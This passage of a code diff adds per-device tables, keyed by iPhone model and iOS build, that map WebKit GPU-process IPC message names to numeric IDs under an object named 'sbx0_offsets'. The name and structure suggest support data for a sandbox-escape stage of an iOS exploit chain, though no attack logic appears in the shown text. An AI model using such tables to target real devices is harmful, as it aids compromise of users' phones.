RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,8_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone15,2_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone15,3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone15,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone15,5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone16,1_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone16,2_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,1_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,2_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone17,5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + } +}); + + Object.assign(sbx0_offsets, { + "iPhone11,2_4_6_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + 